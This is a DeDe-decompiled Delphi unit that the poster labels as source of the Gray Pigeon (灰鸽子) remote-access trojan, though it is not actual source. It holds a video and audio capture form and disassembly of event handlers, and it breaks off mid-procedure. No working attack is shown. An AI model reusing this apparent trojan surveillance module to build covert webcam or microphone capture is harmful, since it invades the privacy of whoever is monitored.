videounit.pas

灰鸽子delphi源码,具体我也没看过

unit VideoUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TVideoForm=class(TForm)
    DynamicSkinForm1: TspDynamicSkinForm;
    Panel8: TspSkinPanel;
    Panel4: TspSkinPanel;
    spSkinPanel3: TspSkinPanel;
    AudioStatButton: TspSkinButton;
    AudioStopButton: TspSkinButton;
    Panel1: TspSkinPanel;
    Panel2: TspSkinPanel;
    StatVideoButton: TspSkinButton;
    StopVideoButton: TspSkinButton;
    StatusBar1: TspSkinStatusBar;
    StatusPanel1: TspSkinStatusPanel;
    StatusPanel2: TspSkinStatusPanel;
    GroupBox2: TspSkinGroupBox;
    GroupBox1: TspSkinGroupBox;
    AudioCheckBox1: TspSkinCheckRadioBox;
    AudioCheckBox2: TspSkinCheckRadioBox;
    wave: TPaintBox;
    wavein: TPaintBox;
    AudioSaveCheckBox: TspSkinCheckRadioBox;
    spSkinGroupBox1: TspSkinGroupBox;
    Image1: TImage;
    WaveInDevice: TunavclWaveInDevice;
    WaveOut: TunavclWaveOutDevice;
    WaveWrite: TunavclWaveRiff;
    spSkinStdLabel1: TspSkinStdLabel;
    DriverListBox: TspSkinComboBox;
    CheckBox2: TspSkinCheckRadioBox;
    spSkinButton1: TspSkinButton;
    spSkinButton2: TspSkinButton;
    procedure Image1DblClick(Sender : TObject);
    procedure WaveInDeviceDataAvailable(Sender : TObject);
    procedure WaveOutFeedChunk(Sender : TObject);
    procedure AudioSaveCheckBoxClick(Sender : TObject);
    procedure AudioStopButtonClick(Sender : TObject);
    procedure DriverListBoxChange(Sender : TObject);
    procedure StatVideoButtonClick(Sender : TObject);
    procedure StopVideoButtonClick(Sender : TObject);
    procedure FormCloseQuery(Sender : TObject);
    procedure AudioStatButtonClick(Sender : TObject);
    procedure spSkinButton1Click(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure FormDestroy(Sender : TObject);
    procedure spSkinButton2Click(Sender : TObject);
    procedure _PROC_00589F25(Sender : TObject);
    procedure _PROC_00589FA8(Sender : TObject);
    procedure _PROC_0058A020(Sender : TObject);
    procedure _PROC_0058A084(Sender : TObject);
    procedure _PROC_0058A0FC(Sender : TObject);
    procedure _PROC_0058A164(Sender : TObject);
    procedure _PROC_0058A1C4(Sender : TObject);
    procedure _PROC_0058A20C(Sender : TObject);
    procedure _PROC_0058A30C(Sender : TObject);
    procedure _PROC_0058AA15(Sender : TObject);
    procedure _PROC_0058AF9C(Sender : TObject);
    procedure _PROC_0058B9E9(Sender : TObject);
    procedure _PROC_0058BA18(Sender : TObject);
    procedure _PROC_0058BA20(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  VideoForm: TVideoForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TVideoForm.Image1DblClick(Sender : TObject);
begin
(*

* Reference to control TVideoForm.Image1 : TImage
|
0058AF60   8B904C030000           mov     edx, [eax+$034C]

* Reference to field TImage.Stretch : Boolean
|
0058AF66   8A8A78010000           mov     cl, byte ptr [edx+$0178]
0058AF6C   80F101                 xor     cl, $01
0058AF6F   8BC2                   mov     eax, edx
0058AF71   8BD1                   mov     edx, ecx

* Reference to: ExtCtrls.TImage.SetStretch(TImage;Boolean);
|
0058AF73   E804DCEAFF             call    00438B7C
0058AF78   C3                     ret

*)
end;

procedure TVideoForm.WaveInDeviceDataAvailable(Sender : TObject);
begin
(*
0058AFD4   55                     push    ebp
0058AFD5   8BEC                   mov     ebp, esp
0058AFD7   50                     push    eax
0058AFD8   B802000000             mov     eax, $00000002
0058AFDD   81C404F0FFFF           add     esp, $FFFFF004
0058AFE3   50                     push    eax
0058AFE4   48                     dec     eax
0058AFE5   75F6                   jnz     0058AFDD
0058AFE7   8B45FC                 mov     eax, [ebp-$04]
0058AFEA   81C4D0F8FFFF           add     esp, $FFFFF8D0
0058AFF0   53                     push    ebx
0058AFF1   56                     push    esi
0058AFF2   57                     push    edi
0058AFF3   8945FC                 mov     [ebp-$04], eax
0058AFF6   8B45FC                 mov     eax, [ebp-$04]

* Reference to control Label16 : N.A.
|
0058AFF9   8B8038030000           mov     eax, [eax+$0338]

* Reference to field N.A..OFFS_02F0
|
0058AFFF   80B8F002000000         cmp     byte ptr [eax+$02F0], $00
0058B006   0F84CC010000           jz      0058B1D8
0058B00C   33D2                   xor     edx, edx
0058B00E   55                     push    ebp
0058B00F   68CEB15800             push    $0058B1CE

***** TRY
|
0058B014   64FF32                 push    dword ptr fs:[edx]
0058B017   648922                 mov     fs:[edx], esp
0058B01A   8B5D08                 mov     ebx, [ebp+$08]
0058B01D   85DB                   test    ebx, ebx
0058B01F   7E2D                   jle     0058B04E
0058B021   BF01000000             mov     edi, $00000001
0058B026   8DB5DCD8FFFF           lea     esi, [ebp+$FFFFD8DC]
0058B02C   8BC1                   mov     eax, ecx
0058B02E   33D2                   xor     edx, edx
0058B030   52                     push    edx
0058B031   50                     push    eax
0058B032   8BC7                   mov     eax, edi
0058B034   99                     cdq
0058B035   030424                 add     eax, [esp]
0058B038   13542404               adc     edx, [esp+$04]
0058B03C   83C408                 add     esp, +$08
0058B03F   83E801                 sub     eax, +$01
0058B042   83DA00                 sbb     edx, +$00
0058B045   8A00                   mov     al, byte ptr [eax]
0058B047   8806                   mov     [esi], al
0058B049   47                     inc     edi
0058B04A   46                     inc     esi
0058B04B   4B                     dec     ebx
0058B04C   75DE                   jnz     0058B02C
0058B04E   33C0                   xor     eax, eax
0058B050   55                     push    ebp
0058B051   6877B05800             push    $0058B077

***** TRY
|
0058B056   64FF30                 push    dword ptr fs:[eax]
0058B059   648920                 mov     fs:[eax], esp
0058B05C   8D95DCD8FFFF           lea     edx, [ebp+$FFFFD8DC]
0058B062   8B4D08                 mov     ecx, [ebp+$08]
0058B065   8B45FC                 mov     eax, [ebp-$04]

|
0058B068   E80FFFFFFF             call    0058AF7C
0058B06D   33C0                   xor     eax, eax
0058B06F   5A                     pop     edx
0058B070   59                     pop     ecx
0058B071   59                     pop     ecx
0058B072   648910                 mov     fs:[eax], edx
0058B075   EB0A                   jmp     0058B081

* Reference to: System.@HandleAnyException;
|
0058B077   E96090E7FF             jmp     004040DC

* Reference to: System.@DoneExcept;
|
0058B07C   E8C393E7FF             call    00404444

****** END
|
0058B081   33C0                   xor     eax, eax
0058B083   8945F4                 mov     [ebp-$0C], eax
0058B086   33C0                   xor     eax, eax
0058B088   8945F0                 mov     [ebp-$10], eax
0058B08B   8B45FC                 mov     eax, [ebp-$04]

* Reference to control Panel2 : TspSkinPanel
|
0058B08E   8B8040030000           mov     eax, [eax+$0340]

* Reference to field TspSkinPanel.OFFS_0048
|
0058B094   8B5048                 mov     edx, [eax+$48]
0058B097   8955EC                 mov     [ebp-$14], edx

* Reference to field TspSkinPanel.OFFS_004C
|
0058B09A   8B784C                 mov     edi, [eax+$4C]

* Reference to field TspSkinPanel.OFFS_0160
|
0058B09D   8B8060010000           mov     eax, [eax+$0160]
0058B0A3   8B4014                 mov     eax, [eax+$14]
0058B0A6   BA050000FF             mov     edx, $FF000005

* Reference to: Graphics.TBrush.SetColor(TBrush;TColor);
|
0058B0AB   E848D0E9FF             call    004280F8
0058B0B0   8B45FC                 mov     eax, [ebp-$04]

* Reference to control Panel2 : TspSkinPanel